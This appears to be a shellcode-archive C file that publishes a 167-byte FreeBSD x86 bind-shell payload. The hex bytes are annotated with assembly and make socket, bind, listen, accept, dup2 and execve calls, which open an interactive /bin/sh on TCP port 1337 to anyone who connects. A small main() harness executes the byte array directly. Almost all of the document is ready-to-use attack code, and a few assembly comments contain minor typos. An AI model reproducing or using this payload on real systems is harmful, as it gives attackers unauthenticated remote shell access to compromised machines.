freebsd/x86 portbind shellcode 167 bytes

                                                /*-
 * Copyright (c) 2009, Sofian Brabez <[email protected]>
 *
 * freebsd-x86-portbind.c - FreeBSD x86 portbind a shell (/bin/sh) on
1337 (\x05\x39) 167 bytes
 */
 
const char shellcode[] =
    "\x6a\x00"                  // push   $0x0
    "\x6a\x01"                  // push   $0x1
    "\x6a\x02"                  // push   $0x2
    "\x50"                      // push   %eax
    "\x6a\x61"                  // push   $0x61
    "\x58"                      // pop    %eax
    "\xcd\x80"                  // int    $0x80
    "\x50"                      // push   %eax
    "\x6a\x00"                  // push   $0x0
    "\x6a\x00"                  // push   $0x0
    "\x6a\x00"                  // push   $0x0
    "\x6a\x00"                  // push   $0x0
    "\x68\x10\x02\x05\x39"      // push   $0x39050210
    "\x89\xe0"                  // mov    %esp,%eax
    "\x6a\x10"                  // push   $0x10
    "\x50"                      // push   %eax
    "\xff\x74\x24\x1c"          // pushl  0x1c(%esp)
    "\x50"                      // push   %eax
    "\x6a\x68"                  // push   $0x68
    "\x58"                      // pop    $eax
    "\xcd\x80"                  // int    $0x80
    "\x6a\x01"                  // push   $0x1
    "\xff\x74\x24\x28"          // pushl  0x28(%esp)
    "\x50"                      // push   %eax
    "\x6a\x6a"                  // push   $0x6a
    "\x58"                      // pop    $eax
    "\xcd\x80"                  // int    $0x80
    "\x83\xec\x10"              // sub    $0x10,$esp
    "\x6a\x10"                  // push   $0x10
    "\x8d\x44\x24\x04"          // lea    0x4(%esp),%eax
    "\x89\xe1"                  // mov    %esp,%ecx
    "\x51"                      // push   %ecx
    "\x50"                      // push   %eax
    "\xff\x74\x24\x4c"          // pushl  0x4c(%esp)
    "\x50"                      // push   %eax
    "\x6a\x1e"                  // push   %0x1e
    "\x58"                      // pop    %eax
    "\xcd\x80"                  // int    $0x80
    "\x50"                      // push   %eax
    "\xff\x74\x24\x58"          // pushl  0x58(%esp)
    "\x50"                      // push   %eax
    "\x6a\x06"                  // push   $0x6
    "\x58"                      // pop    %eax
    "\xcd\x80"                  // int    $0x80
    "\x6a\x00"                  // push   $0x0
    "\xff\x74\x24\x0c"          // pushl  0xc(%esp)
    "\x50"                      // push   %eax
    "\x6a\x5a"                  // push   $0x5a
    "\x58"                      // pop    %eax
    "\xcd\x80"                  // int    $0x80
    "\x6a\x01"                  // push   $0x1
    "\xff\x74\x24\x18"          // pushl  0x18(%esp)
    "\x50"                      // push   %eax
    "\x6a\x5a"                  // push   $0x5a
    "\x58"                      // pop    %eax
    "\xcd\x80"                  // int    $0x80
    "\x6a\x02"                  // push   $0x2
    "\xff\x74\x24\x24"          // pushl  0x24(%esp)
    "\x50"                      // push   %eax
    "\x6a\x5a"                  // push   $0x5a
    "\x58"                      // pop    %eax
    "\xcd\x80"                  // int    $0x80
    "\x68\x73\x68\x00\x00"      // push   $0x6873
    "\x89\xe0"                  // mov    %esp,%eax
    "\x68\x2d\x69\x00\x00"      // push   $0x692d
    "\x89\xe1"                  // mov    %esp,%ecx
    "\x6a\x00"                  // push   $0x0
    "\x51"                      // push   %ecx
    "\x50"                      // push   %eax
    "\x68\x2f\x73\x68\x00"      // push   $0x68732f
    "\x68\x2f\x62\x69\x6e"      // push   $0x6e69622f
    "\x89\xe0"                  // mov    %esp,%eax
    "\x8d\x4c\x24\x08"          // lea    0x8(%esp),%ecx
    "\x6a\x00"                  // push   $0x0
    "\x51"                      // push   %ecx
    "\x50"                      // push   %eax
    "\x50"                      // push   %eax
    "\x6a\x3b"                  // push   $0x3b
    "\x58"                      // pop    %eax
    "\xcd\x80";                 // int    $0x80
 
int main(void) {
    void (*egg)() = (void *)shellcode;
 
    return (*(int(*)())shellcode)();
}